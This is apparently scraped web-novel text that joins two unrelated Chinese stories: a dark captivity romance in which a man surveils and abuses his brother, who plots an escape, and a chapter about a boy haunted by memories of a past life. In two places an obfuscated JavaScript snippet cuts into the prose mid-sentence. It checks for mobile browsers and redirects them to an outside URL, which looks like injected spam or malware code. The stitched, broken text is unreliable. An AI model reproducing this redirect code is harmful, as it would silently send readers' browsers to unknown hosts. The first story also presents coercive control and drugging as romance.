办公室再次陷入死寂。霁丞拿起那部加密手机,指尖在屏幕上划过,调出另一个界面。那是一个复杂的监控系统后台,连接着霁远手机、别墅、甚至他常去几个地方的隐秘监控点。他调出“声域”录音棚所在楼层的监控记录,精准地定位到15:47分前后。 屏幕上,分割的画面显示着走廊、录音室门口、洗手间入口……画面高清,但角度有限。他看到霁远低着头快步走出录音室,走向洗手间方向。大约一分钟后,他走出洗手间,脚步似乎比进去时更急,头发略显凌乱,脸色苍白依旧,但那双低垂的眼睛深处……似乎有什么东西不一样了?一种极力压抑却无法完全掩饰的……异样光芒? 霁丞的指尖停在屏幕上霁远的身影上,眼神锐利如鹰隼。 这时,加密手机再次震动。一条新的信息跳出来,来自一个代号“猎鹰”的联系人: 猎鹰:目标设备接收信息类型为一次性加密指令。载体极可能为物理介质(如纸条、U盘、特定标记物),非网络传输。信息内容指向性明确,但加密方式特殊,需特定密钥或触发条件方能解读。初步判断为……逃亡信号。发送源IP经过多重跳板,最终指向境外代理服务器,反向追踪受阻,耗时较长。是否启动深度溯源? 逃亡信号。 四个字,像四颗烧红的钢钉,狠狠楔入霁丞的眼底!他握着手机的手指骤然收紧,骨节泛出青白色!一股冰冷的、足以焚毁一切的暴戾气息瞬间从他身上弥漫开来,办公室内的温度仿佛骤降了十度! 好!很好!他的“金丝雀”,不仅学会了偷偷联系外界,还收到了“逃亡信号”?! 五年了。他以为早已将这只鸟的翅膀修剪得足够彻底,将牢笼打造得足够坚固。他以为那些警告、那些惩罚、那些药物、那些无处不在的监控,足以让霁远认清现实,乖乖地待在他划定的界限内,做他最完美的收藏品和工具。 看来,是他低估了这只鸟骨子里的野性。或者说,是他昨晚的“教训”还不够深刻! “启动深度溯源。不惜一切代价,挖出发信源头。”霁丞的声音如同淬了冰的寒铁,每一个字都带着森然的杀意,“另外,加派一组人,24小时盯紧霁远。我要知道他每一个动作,接触的每一个人,发出的每一条信息,甚至……他呼吸的频率。任何异常,立刻报告。” “是!”猎鹰的回复简洁而高效。 挂断电话,霁丞缓缓靠进宽大的真皮座椅里。他闭上眼,手指用力按压着突突直跳的太阳穴。脑海中,不受控制地闪过昨夜霁远被他压在身下时,那双充满惊惧、绝望和……恨意的眼睛;闪过他颈侧那个清晰的、属于自己的牙印;闪过他刚才在歌声里那撕心裂肺的控诉…… 一股难以言喻的、混杂着暴怒、被背叛的刺痛以及更深层、更扭曲的占有欲的火焰,在他胸腔里疯狂燃烧! 想逃? 霁丞猛地睁开眼,眼底一片骇人的猩红!嘴角却勾起一抹残忍而笃定的笑意。 阿远,你太天真了。从五年前我把你从泥潭里捞出来的那一刻起,你身上就永远烙上了我的印记。你的天空,只能是我允许你飞翔的那片。想飞走?除非……我亲手折断你每一根骨头,将你彻底碾碎在这黄金的牢笼里! 半山别墅,冰冷的囚笼。 霁远蜷缩在自己房间巨大的落地窗前,厚重的窗帘拉得严严实实,只留一条缝隙,透进外面沉沉的暮色。房间里没有开灯,一片昏暗。他抱着膝盖,背靠着冰冷的玻璃,身体依旧残留着录制《囚鸟》时强行爆发带来的虚脱感和深入骨髓的寒意。 但此刻,占据他全部心神的,却是裤袋深处那把冰冷的、紧紧贴着他大腿内侧皮肤的——钥匙! “回声”。 苏哲的加密信息如同烙印般刻在脑海:【老地方,消防通道垃圾桶夹层。钥匙。西郊废弃工厂“回声”。通道只开三天。快!】 三天!只有三天! 狂喜早已被巨大的、灭顶的恐惧所取代。每一次心跳都沉重得像是在敲响丧钟。他拿到了钥匙,但这仅仅是第一步,也是最微不足道的一步。接下来的每一步,都如同在万丈深渊上走钢丝,稍有不慎,便是粉身碎骨,甚至……会连累苏哲。 霁丞会发现的。他一定会发现的!那个男人有着野兽般的直觉和一张覆盖整个城市的无形巨网。录音棚里那个短暂的信号接收,能瞒过林薇,能瞒过保镖,但能瞒过霁丞办公室里的那些精密仪器吗?霁远不敢去想。他甚至能感觉到,此刻在这座冰冷别墅的某个角落,也许就在他房间的墙壁里,或者天花板的某个缝隙中,正有无数双冰冷的电子眼,一眨不眨地注视着他的一举一动! 他必须伪装。必须比以往任何时候都更加“正常”,更加“顺从”。 手指不受控制地颤抖着。他用力握紧拳头,指甲深深陷入掌心,用尖锐的疼痛强迫自己冷静下来。大脑以前所未有的速度运转,分析着所有可能的细节和风险。 钥匙藏在哪里?这是最致命的物证!绝不能被发现!房间里的任何角落都不安全。霁丞随时可能进来,或者让林薇来“整理”。他目光扫过冰冷的房间,最终落在了……那把靠在墙角的原木色民谣吉他上。 这是他唯一被允许保留的、与过去地下酒吧驻唱生涯有关的物件。霁丞对此嗤之以鼻,认为这是“上不了台面的东西”,但或许是出于某种扭曲的展示欲(看,我连你的过去都能掌控),并没有将它扔掉。 霁远站起身,脚步虚浮地走到吉他旁。他小心地拿起吉他,手指拂过琴弦,发出几声微弱而喑哑的声响。他拧开琴颈底部那个用来调节琴颈曲度的六角扳手孔盖。孔很小,很深。他颤抖着手指,小心翼翼地将那把黄铜钥匙塞了进去。钥匙很小,刚好能塞入孔洞深处。他再将六角扳手孔盖重新拧紧,严丝合缝。从外表看,没有任何异常。即使有人拿起吉他检查,只要不拧开这个不起眼的小盖子,也绝对发现不了。 做完这一切,他后背已经被冷汗浸透。他轻轻放下吉他,仿佛放下了一块烧红的烙铁。 接下来,是路线和时机。 西郊废弃工厂“回声”。他知道那个地方。几年前那里是一个巨大的工业园,后来因为污染和产业转移彻底荒废,成了流浪汉和探险者的乐园,也是城市治安的死角。苏哲选择那里,确实足够隐蔽。但怎么去?什么时候去? 老陈和保镖24小时待命。别墅大门有保安,有监控。他的一举一动都暴露在视线之下。独自离开的可能性几乎为零。唯一的突破口,可能就是……公开行程。 他需要利用一个公开的、人流量巨大的场合,制造混乱,然后……消失。 大脑飞速检索着未来三天的行程安排。明天上午有一个高奢品牌的新店剪彩活动,下午是《囚鸟》的MV拍摄筹备会。后天……后天晚上,是“星耀盛典”年度颁奖礼!那是娱乐圈最盛大的活动之一,群星云集,媒体如云,现场安保虽然严密,但人流量巨大,后台通道复杂,混乱和意外随时可能发生!而且,作为当红顶流,他必然出席,并且有单独休息室和通道! 就是它!后天晚上!星耀盛典! 心脏在胸腔里狂跳,几乎要冲破喉咙!这个念头疯狂而大胆,成功的几率渺茫得如同在暴风雨中抓住一根稻草!但这是他唯一的机会!是苏哲用巨大的风险为他撕开的一道、仅存三天的缝隙! 他必须赌! 就在这时,门外传来规律的敲门声,伴随着林薇平静无波的声音:“霁远,霁总让你去一趟书房。” 霁远的心跳瞬间漏跳了一拍!一股寒气从脚底直窜头顶!这么快?!难道……已经被发现了?他用力掐了一下自己的大腿,强迫自己迅速戴上那副早已熟练的、空洞顺从的面具。 “知道了。”他应了一声,声音尽量平稳,但依旧带着一丝不易察觉的沙哑。 他深吸一口气,整理了一下衣服,确保高领毛衣将颈侧的痕迹遮盖得严严实实,然后拉开了房门。 林薇站在门外,妆容精致,一丝不苟。她的目光在霁远脸上快速扫过,带着职业化的审视,似乎想从他苍白疲惫的脸上找出任何一丝异常。 “霁总在等你。”林薇侧身让开道路,语气平淡。 霁远沉默地跟在林薇身后,走向位于别墅另一端的霁丞书房。每一步都踩在刀尖上。他能感觉到林薇的目光如同探照灯般落在自己背上。那把藏在吉他深处的钥匙,此刻仿佛在灼烧着他的灵魂。 书房的门虚掩着。林薇轻轻敲了敲门,里面传来霁丞低沉的声音:“进来。” 林薇推开门,却没有进去,只是对霁远做了个“请”的手势。 霁远独自走进书房。一股混合着雪茄、冷杉木香和书籍油墨味的、极具压迫感的气息扑面而来。巨大的红木书桌后,霁丞背对着门口,面向落地窗外的沉沉夜色。他没有回头,只是静静地站在那里,像一座沉默的冰山。 书房里只开了一盏昏黄的台灯,光线将霁丞高大的身影拉长,投射在昂贵的地毯上,更添几分阴郁和掌控一切的威严。 “哥。”霁远站在门口,低垂着眼睫,声音很轻。 霁丞缓缓转过身。 台灯的光线勾勒出他英俊却冰冷如雕塑的侧脸轮廓。他深邃的眼眸在昏暗中如同深不见底的寒潭,没有任何情绪波动,只是平静地、审视地落在霁远身上。那目光,仿佛能穿透皮囊,直视灵魂深处最隐秘的角落。 时间仿佛凝固了。空气沉重得让人窒息。 霁远感觉自己的血液都要冻结了。他强迫自己站着,不要发抖,不要露出任何破绽。指甲再次深深陷入掌心。 “《囚鸟》录得不错。”霁丞终于开口,声音平淡,听不出喜怒,“李牧很满意。他说你最后……‘超常发挥’。” 他刻意加重了最后四个字。 “嗯。”霁远低低应了一声,“李老师要求很高,尽力了。” “尽力了?”霁丞微微挑眉,嘴角似乎勾起一抹极淡的、冰冷的弧度。他绕过书桌,缓步向霁远走来。皮鞋踩在厚厚的地毯上,发出沉闷而压迫的声响。每一步,都像是踩在霁远紧绷的神经上。 他在霁远面前一步之遥处停下。高大的身影带来的阴影将霁远完全笼罩。霁丞的目光如同实质般,从霁远低垂的眉眼,滑过他苍白的脸颊,最后落在他刻意拉高的毛衣领口上。那目光,带着一种令人毛骨悚然的、剥皮拆骨般的审视。 “嗓子怎么样?”霁丞的声音低沉下去,带着一丝奇异的、近乎温柔的关切,却更让人不寒而栗,“昨晚喝了酒,今天又那么用力地嘶吼……疼吗?” 他抬起手,冰凉的指尖,如同毒蛇的信子,轻轻拂过霁远毛衣领口上方、露出的那一点点脆弱的颈项皮肤。 霁远身体瞬间僵硬!一股寒意顺着被触碰的皮肤瞬间蔓延至四肢百骸!他几乎要控制不住地后退,但强大的意志力死死地钉住了他的双脚。他能清晰地感觉到霁丞指尖的冰冷,以及那冰冷之下蕴含的、令人窒息的威胁。 “不……不疼。”他艰难地从喉咙里挤出两个字,声音干涩。 “是吗?”霁丞的手指停在那里,没有移开。他微微俯身,凑近霁远的耳边,温热的呼吸喷在敏感的耳廓上,声音压得极低,带着一种情人般的呢喃,却又字字如冰锥:“阿远,你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353469|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我最讨厌什么吗?” 霁远的心脏狂跳,几乎要从嗓子眼里蹦出来!他死死咬住牙关,不敢回答。 “我最讨厌……”霁丞的声音如同淬了毒的丝绸,缓缓滑过他的耳膜,“……背叛,和谎言。” 最后两个字,他咬得极重! “特别是,来自于我亲手养大的……鸟。”他的指尖,带着警告的力道,在那片脆弱的皮肤上不轻不重地按压了一下,位置正好在颈侧那个被毛衣遮盖的牙印上方! 霁远的呼吸骤然停止!巨大的恐惧如同冰冷的潮水,瞬间将他淹没!他感觉自己像是被一条冰冷的巨蟒缠住了脖子,一点点收紧! 霁丞知道了?!他一定知道了什么! 就在霁远几乎要被这巨大的压力碾碎时,霁丞却忽然直起身,收回了手。脸上的表情恢复了一贯的冰冷和平静,仿佛刚才那充满威胁的低语只是霁远的幻觉。 “星耀盛典,准备好了吗?”他转身走向酒柜,给自己倒了一杯琥珀色的威士忌,语气恢复了公事公办的冷漠,“礼服林薇会准备好。红毯时间提前了半小时,别迟到。媒体那边,该说什么,不该说什么,你清楚。” 话题的突然转变,让霁远紧绷的神经如同被拉紧到极致的弓弦,猛地一松,却又带着一种虚脱般的茫然。他用力咽了口唾沫,喉结艰难地滚动了一下:“……清楚。” “嗯。”霁丞背对着他,晃动着杯中的冰块,发出清脆的碰撞声,“出去吧。” 霁远如蒙大赦,几乎是逃也似的转身,拉开书房沉重的门,快步走了出去。直到冰冷的门板在身后关上,隔绝了书房里那令人窒息的气息,他才靠在冰冷的墙壁上,大口大口地喘息起来,冷汗早已浸透了后背的衣衫。 林薇还等在外面,看到他苍白的脸色和惊魂未定的样子,眼神闪烁了一下,但什么也没问。 “林姐,”霁远强压下翻涌的恐惧,努力让自己的声音听起来平静,“能把后天……星耀盛典的详细流程和场地平面图发我一份吗?我想提前熟悉一下。” 林薇看着他,沉默了几秒,才点点头:“好,晚点发你邮箱。”她的目光在霁远脸上停留了片刻,带着一丝不易察觉的探究。 霁远不敢再多停留,低声道:“那我先回房休息了。” 回到那个冰冷空旷的房间,反锁上门。霁远背靠着门板,身体才像彻底脱力般滑落下来。心脏在胸腔里疯狂地撞击着,震得他耳膜嗡嗡作响。那把藏在吉他里的钥匙,此刻仿佛变成了烧红的烙铁,烫得他坐立不安。 霁丞知道了!他一定察觉到了什么!那句“背叛和谎言”,那句“亲手养大的鸟”,还有那充满警告意味的触碰……都是赤裸裸的暗示!他就像一只被猫玩弄于股掌之间的老鼠,自以为隐秘的行动,其实早已暴露在捕猎者冰冷的视线之下! 绝望如同冰冷的藤蔓,再次缠绕上来,勒紧了他的心脏。 怎么办?放弃吗?继续做那只被折断翅膀、永远困在黄金牢笼里的囚鸟? 不! 手腕内侧的飞鸟纹身传来一阵清晰的灼痛感!昨夜在“云巅”露台,在录音棚消防通道拿到钥匙时,那种名为“永不回头”的决绝火焰,再次在心底的灰烬中猛烈地燃烧起来! 已经拿到钥匙了!已经看到那条缝隙了!哪怕只有万分之一的希望,哪怕前面是万丈深渊,他也要赌!赌霁丞还没有完全确认!赌苏哲安排的通道足够隐秘!赌后天晚上星耀盛典的混乱能给他一线生机! 他挣扎着站起来,走到书桌前,打开电脑。登录邮箱,林薇的效率很高,星耀盛典的详细流程表和场馆平面图已经发了过来。 他强迫自己忽略心底翻涌的恐惧,将所有的注意力都集中在眼前的屏幕上。眼神锐利而专注,如同一个即将踏上生死战场的士兵,研究着每一份情报。 盛典流程:红毯、内场颁奖、后台采访、艺人休息室轮换……时间节点精确到分钟。 场馆平面图:主会场、后台区域、艺人休息室分布、紧急疏散通道、备用出口、停车场入口……每一个角落都被他反复审视,在脑海中构建出立体的模型。 他的目光,最终死死锁定在平面图上一个不起眼的标记点——位于后台最深处、靠近设备区的一个标着“杂物间/旧通道”的小房间。旁边有一条极其狭窄、标注为“已废弃”的货运通道,通向场馆后方一个偏僻的、用于垃圾清运的小巷出口! 就是这里!这个“已废弃”的通道,就是苏哲信息里“通道只开三天”的关键!它可能连接着外部,也可能直通苏哲所说的西郊“回声”工厂的接应点! 心脏因为激动和紧张而剧烈跳动!他迅速记下这个位置的所有细节:距离他休息室的路线、需要经过几个拐角、可能遇到的安保点…… 就在这时,手机屏幕亮了一下。是工作群,林薇@所有人: 林薇:@全体成员重要通知:星耀盛典安保升级。所有艺人及工作人员入场需进行二次安检(含电子设备及随身物品扫描)。后台通行权限重新核验,非佩戴特定级别通行证人员严禁进入核心区域。请各位务必配合,提前做好准备。 二次安检!随身物品扫描!通行权限核验! 霁远刚刚燃起的希望之火,瞬间被这盆冰水浇得只剩下一缕青烟!寒意瞬间从脚底窜遍全身! 霁丞!这一定是霁丞的手笔!他在收紧网口!他在用这种方式告诉霁远:你的一举一动,都在我的掌控之中!你插翅难逃! 巨大的绝望感再次席卷而来!吉他里的钥匙怎么办?过安检必然会被发现!那个“已废弃”的通道入口,必然会被重点监控!他所有的计划,在霁丞这轻描淡写的“安保升级”面前,脆弱得如同肥皂泡! 怎么办?! 霁远死死盯着屏幕上那冰冷的通知,指甲深深掐进掌心,鲜血顺着指缝渗出,他却感觉不到丝毫疼痛。 三天倒计时,在死寂的房间和窗外沉沉的夜色中,无声地、冷酷地流逝着。每一分,每一秒,都像一把钝刀,在凌迟着他紧绷的神经。 而此刻,书房内。 霁丞站在巨大的监控屏幕墙前。屏幕上分割着别墅各个角落的实时画面,其中一个最大的画面,正清晰地显示着霁远房间内的景象——他坐在书桌前,背对着隐藏的摄像头(霁远并不知晓其精确位置),对着电脑屏幕,身体僵硬,一动不动。屏幕的光映在他苍白的侧脸上,那紧抿的唇线和微微颤抖的肩膀,无不昭示着他内心的惊涛骇浪。 霁丞的指尖,轻轻划过屏幕上霁远的身影,冰冷的唇角,缓缓勾起一抹掌控一切、却又带着残忍兴味的弧度。 阿远,游戏开始了。让我看看,你这只想要“永不回头”的飞鸟,能飞出多远? 36. 第 53 章 今天是晴天,也许有些多云,但没关系,只要有阳光就好了,院子里的玫瑰花喜欢阳光。 Raysh拉开窗帘看了一眼,外面大朵大朵的玫瑰在早晨的清风下左摇右晃。他转身随意找了一本书,匆匆忙忙地光着脚跑到了楼下的花园里,那里有一个放了很久的藤椅,绿色的藤椅在火红的玫瑰园里很是显眼,Raysh一眼就看到它了。抱着书躺上面的瞬间他有点愣住了,好像在某个时刻,也许是很久之前,他也抱着书急匆匆地躺在上面,那时候的满足和惬意现在还能感觉到,貌似还有一点悲伤,可是有什么悲伤的呢? 可是这是他第一天搬到这里啊。 早餐过后,跟爸妈道过别,Raysh急匆匆地穿过花园里大片的玫瑰朝学校赶去。这是他第三次换家,第一次是在学校旁边,第二次是在爸妈工作的地方旁边,这次是在郊外,虽然离学校远,但是Raysh很喜欢,他很喜欢带玫瑰花园的房子,还有一出门就会看见的绿色森林。 这是很小很小的国家,但是名字很长,长到Raysh记住了却总是忘记。他在城市里的高中上三年级,他有着和玫瑰一样的红色的头发,还有一双翠绿色的眼睛,从远处看好像一个不属于这个世界的小王子一般。Raysh不喜欢短发,他记得自己的头发一直都是到肩上的,难道是妈妈趁他睡觉的时候剪了吗?他一边走一边摸了下自己的短发一边想着。 从这里到学校有一段路要走,而且小路崎岖难走,不小心就会迷路,好在周围都有路标。在分叉口Raysh遇见了同班同学Jim,Jim也看见了Raysh,上来就笑嘻嘻地勾住他的肩膀:“早上好Raysh,你又在花园里看书了吧。” Raysh把他的手拿下去:“早上好Jim,我们快迟到了。” Jim拍拍他的背,把他的书包拿了下来:“不急嘛,迟到一分钟也是迟到,迟到十分钟也是迟到,唉我帮你拿着书包吧,看你的小身板。” Raysh没理他,但是也没反对他帮自己拿书包,自顾自朝左边走去,想着才不要跟Jim一起迟到。 Jim突然朝他喊:“Raysh你走错了,右边才是去学校的,左边是到森林里的。” Raysh顿住了,他猛然转身盯着Jim:“你说什么?我明明记得是左边。” Jim朝路标指指:“你自己看啊。” Raysh快步走到右边的路标,上面清楚地写着:“学校”,他不死心地又看了眼左边的路标:“森林”。 Jim走到他旁边:“嘿怎么样,我没骗你吧。快走吧你这样的好学生迟到可不太好,我就无所谓了哈哈。” Raysh似乎还在震惊中没有反应过来,踉踉跄跄被Jim拽住衣摆往前走:“可是我明明记得是左边的路啊。” “一定是你昨晚没睡好,或者你们家的玫瑰味刺激到你大脑了,一直都是右边的路啊。”Jim不以为意道。 Raysh有点乱,真的是我记错了吗?也许真是我记错了,昨晚确实没睡好,一直在做梦,做的什么梦呢?好像不记得了。 到了学校果然迟到了,好在老师理解他们俩家比较远,也没说什么就让他们入座了,只是给Jim多加了十道数学题而已,Jim大呼不要。看的Raysh想笑,这么多年Jim还是那个性子啊,一点都不像他以后那么优雅。想到这里Raysh一愣,以后?哪来的以后?一定是自己昨天没睡好,连幻想都出来了。 午休的时候Raysh和Jim去了学校后院的草坪上休息,学校是建在山上的,是市区内唯一没有被移平的小山,随处可见的绿草坪。 “嘿Ann,早上没有看见你啊。”他们常去的那块小草坪上已经有一个女孩抱着书坐在那里了。 “我早上去了医院,中午才赶到学校的。你好Raysh,听说你今天迟到了?” Raysh指指Jim道:“都是因为他我才迟到的。” Jim立马叫起来:“喂Raysh这怎么能怪我,明明是你自己出门晚了,你一定是又在花园里看书了,都告诉你早上时间不多啊。” Ann笑道:“Raysh家的玫瑰园很漂亮吗,是你种的吗?” “恩是我种的,种了好久了。”Raysh点点头。 Jim却说:“好了Ann不要被他骗了,才不是他自己种的,他才搬到那里没几天好吧,是那个花园的前主人种的。” “这样啊,哪天我能去参观一下吗?” …… 他们在说什么Raysh已经听不太清了,他明明记得那片玫瑰是自己扦插的,过了半年才开花,他一度以为开不了花了。他还记得那天自己打开房门看见大片大片的红色挤在花园里的场景,印象深刻。 怎么就变成是前主人种的了呢? 下午学校只上了一节课,剩下一节课是自由活动时间,Raysh和Jim打算回家,Ann却在学校门口跟他们分别:“我还要去趟医院,你们先走吧。” Jim有些担心:“Ann,你的病什么时候好啊。” Ann笑笑:“不要担心,很快就会好的。” Raysh盯着Ann:“Ann,你的病是什么?” Ann没有说话,冲他们挥挥手就走了,倒是Jim一脸不快:“你问人家什么病干什么啊,多没礼貌。” “不,我怎么记得Ann……已经去世了呢?”Raysh喃喃道,从一开始他看见Ann就觉得不对,在他的记忆里Ann确实是已经去世了…… 突然就被Jim拍了下脑袋:“喂你这个坏蛋,怎么能诅咒Ann,幸好她没有听到。” Raysh被打了下很不高兴,把书包丢给Jim就走了,Jim也没生气,在他后面哼着一首很轻快的小调跟着Raysh走了。 回来的路上又经过那个分叉口,Raysh特意看了两眼左边的路标,无奈地皱着眉头。 “你在难过吗?” “还记得我吗?” “Raysh,Raysh……” Jim撞了撞Raysh:“怎么不走了,出什么事了?” Raysh摇摇头,刚想说话又摇摇头,似乎想把什么东西甩掉一样:“没事,没事,我们走吧。” Jim奇怪的看他一眼:“Raysh,今晚你爸妈在家吗?” “不在,怎么了?” “没,我今晚去你家吧,看你状态不太对。” Raysh:“随便你。” 晚上Jim果然来Raysh家了,Raysh不会做饭,又不想吃中午剩下的饭。Jim拿他没办法,只能自己给他做饭。 “也只有我才这么耐心的对你这个小少爷。”简单的煎牛排上桌时Jim感叹道。 Raysh没说这个,却问了他另外一个问题:“Jim,你长大后……”他慢慢切着牛排,注意力根本不在上面“你长大后想做什么呢?” Jim帮他和自己倒好果汁,抬起头看着他笑道:“我啊,我想做个律师。” Raysh听完却是顿住了,Jim忍无可忍似的把他的刀躲过来,快速将牛排切好推到他面前:“怎么问这个?Raysh想做什么?” Raysh道:“医生吧。” Jim也坐下来:“嗯好好好,快吃吧,晚上早点睡。” Raysh没再说话,他开始觉得有点不对劲,他印象里的Jim虽然也有现在十几岁的模样,但更多的印象是Jim穿着法官的制服风度翩翩的样子,所以刚刚才问Jim想做什么,要是Jim按这个路走下去,这不就是自己印象中的Jim了吗? 晚饭后Jim在厨房洗碗:“Raysh,快点睡觉哦,明天早上不许再去花园里看书了。” Raysh罕见的听了话,Jim有点高兴,帮他倒好水,盖好被子才走到隔壁客房休息。 Raysh想的却是能不能再昨天梦到的事情,他感觉这件事很重要,但昨天梦到的,今天却一点点都想不到,一点点也没有,就像有人故意删除了这段记忆了一样。 还有今晚放学时那个声音……Raysh再迟钝都知道肯定哪里出了问题。但是哪里出了问题呢? 第二天Raysh刚刚睁开眼就听到门外Jim的砸门声。 Jim喊道:“起床了起床了,快下来吃早饭!” Raysh叹口气,闭上眼睛不理会,想着想着就想到了自己的玫瑰园,睡意一下子就没了,立马随意抱了本书穿上拖鞋跑到藤椅上躺着,Jim应该还在准备早餐,玫瑰园里安静极了。 Raysh闭上眼睛,静静地思索,渐渐的他能想起来这两天做的梦是连着的,还有,里面总会出现一个男人,他叫自己Raysh。没错自己叫Raysh啊,但是他叫自己干什么呢?怎么自己十几年的记忆里没见过他呢? 在花园里呆了不到一刻钟,Jim就来叫他吃早餐:“Raysh昨晚睡得好吗?” “还不错,早餐有樱桃汁吗” “有,我早上去怀特爷爷家买的,早晨才摘的樱桃,很新鲜的。” Raysh把书交给Jim,自己去了卫生间。 Jim看了看手中的书名,朝Raysh喊道:“你还看这样的书啊,《时间逆流》,啥时候这么高深了。” 他们又一次经过分叉口,这次Raysh虽然有疑惑,但还是朝右边走去。 Jim遇见了隔壁班的Alan,见他站在分叉口不动,冲他打了招呼:“早Alan,你怎么了吗?” Alan点点头:“我记得去学校的路标是在左边的,但它现在在右边” Raysh一听立即走到他旁边:“你也记得是左边?” Alan大概认出这是隔壁班那个成绩好,但是十分难惹的Raysh,缩了缩脖子,小声道:“嗯,在左边。” Jim也奇怪了:“难道有人恶作剧改了路标,不对啊,学校就在右边啊,肯定是你们俩记错了,到学校再问问其他人吧。” 到了学校问了很多人,所有人都说那个路标是在右边的,还说Raysh是不是学傻了,把Raysh气的不轻。Jim安慰道:“一定是这几天叔叔阿姨不在家,你作息不规律,我这几天就住你家吧。” “好。” 一周后传来Ann住院的消息,不管怎么样,Raysh还是很担心,和Jim一起为这个善良勇敢的女孩祈祷,好在一周后Ann手术十分成功。 这半个月来,Raysh经常对某些东西或者某个片段感到十分熟悉。有次和Jim看电影的时候竟然能说出影片的结局,搞得Jim很郁闷,说你要是看过了我们就不来看了。Raysh没说话,他只是握紧了拳头。哦对了,他还能经常梦见那个男人,渐渐的能看清他穿的什么衣服,甚至是戴着什么样的耳坠,就是看不清他长什么样。 只是每天清晨他都是在泪水中醒来,每次他都能记得那个人喊他,深情的,温柔的,绝望的叫他“Raysh,Raysh。” 叫我干什么呢?Raysh想,我又不认识你,我连你是谁都不知道,你叫什么名字也不知道,你叫我有什么用呢? 但冥冥的,他却感到很悲哀,很伤心,Jim一度以为他生病了,因为那几天他一点也没有精神。 Jim一直陪着Raysh过了一个月,直到他父母回家Jim才回自己家。 “辛苦你了Jim,没有你Raysh不知道会变成什么样子。”Raysh的妈妈拥抱了下Jim,对他说道。 Jim笑笑,跟Raysh告别后,穿过玫瑰园回了家。 “玫瑰花园越来越好看了,Raysh真是越来越棒了。”妈妈一直都把他当成小孩子,说出的话在Raysh看来也是很幼稚。 “妈妈,你和爸爸有将我的头发剪短吗?” “没有啊,你的头发怎么了?” Raysh不死心的再问了一个:“那我有留过长发吗?” 妈妈奇怪地看他一眼:“没有,一直都是短发,你还说过短发清爽,怎么了呢Raysh?” Raysh摇摇头,回了自己的房间。 玫瑰越长越旺,等到绿色的藤椅都被淹没在红色的花瓣里的时候已经过去了一个月,Raysh又自己生活了,哦还有个Jim一起。 早上两个人照常去上学,Jim突然对Raysh道:“Raysh,你听说了时间重置的说法吗?” Raysh摇头,“不知道,那是什么?” Jim皱皱眉:“我也不太懂,好像是说其实我们的时间轴是被改变了的,我们现在回到了十年前,也许是二十年前,重复着做以前已经做过的事情。” Raysh好久没说话。 Jim撞撞他:“怎么了?” Raysh的脸色有点苍白:“没事,快走不然又要迟到。” 晚上Jim有点事情暂时不回郊外,校门口分别时Jim把书包给Raysh背好,说:“冰箱里有奶油蔬菜汤和煎牛排,还有一大杯樱桃汁,晚上不要不吃饭。” Raysh点点头:“我知道了,你快走吧。” Jim摸摸他的头发后才走。 路上他一边走一边想,等到了玫瑰园时天边被赤红色染得漂漂亮亮的,Raysh转过身遥遥地看向天的那边,阳光还是有点刺眼,刺激的Raysh的眼睛半眯了起来。他隐隐约约看见夕阳的上方,就在那朵云的旁边,一个穿着宽大衣服的男人正冲着他笑,不知道哪里来的风把他的衣摆吹了起来,还有他长长的头发,Raysh突然哭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353470|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 他哭了好久,连晚饭都没吃直接睡觉了。 睡着前Raysh的脑子里一直都是Jim说的“时间重置”,也许这是真的,我们都生活在过去的时间里,Raysh迷迷糊糊地想。 Raysh以为这次也跟以前一样一觉睡到天亮,但今晚却没有,他竟然掉进了梦里,他仿佛进入了另一个世界。 那天在夕阳中看到的男人,Raysh想,他正走在一条十分繁华的路上,已经是深夜了,这条路依然灯火通明,不分白天和晚上。Raysh隐约记得这里是伦敦,想着想着他皱起眉,自己从没去过伦敦,怎么这么肯定这是伦敦? 没等他多想,他看见另一个自己从医院开着车回到住宅区,Raysh知道那是梦里的自己,不是真的我,他想着,跟上了“Raysh”。 “Raysh”在一家别墅前停了车,这里竟然也有一个玫瑰园,还有一模一样的绿色藤椅,Raysh迷茫了起来。 他看见另一个自己转动着钥匙开了门,门口挂着一个长长的风衣,一看就不是“Raysh”穿的,他在跟谁同居?这个问题没有让Raysh苦恼多久,他就看见系着围裙的男人从厨房走了出来,弯下腰跟“Raysh”亲了一下,推着“Raysh”进卫生间,然后一边笑一边跟他说着什么。他笑起来真好看,Raysh想。 他看完了那个人跟“Raysh”一天的生活,一直都是那个人在照顾“Raysh”,那个人很喜欢笑,也很温柔,“Raysh”是个医生,加班起来没日没夜的,每次加班都是他来送饭。“Raysh”除了上班外不喜出门,只能他来采购食品日用品,还有带“Raysh”外出游玩。 他看到“Raysh”站在海边对着大海张开手,那个人从后面抱住他,轻笑着在他耳边说什么,“Raysh”也回头回复着什么话,大概是情话之类的吧,Raysh想着,只是那时候的海边真的很美,还有那个人的笑。 那个人会给“Raysh”准备好樱桃汁,会打理好玫瑰园,还喜欢盯着“Raysh”看,一看就是好久好久。 突然场景一变,“Raysh”躺在马路中间,浑身都是血,昏迷不醒。那个人在他身边,脸色惶恐不安,Raysh觉得他快要哭出来了,这让他也有点不好受,嗯?为什么会不好受呢? “Raysh”最后还是没有抢救过来,Raysh在医院里看见那个人靠在墙上掩面的样子,他没看见他流眼泪,但是知道他哭了,Raysh心中突然弥漫了绝望,渐渐变成了痛苦,这是他的感情吧,Raysh想。 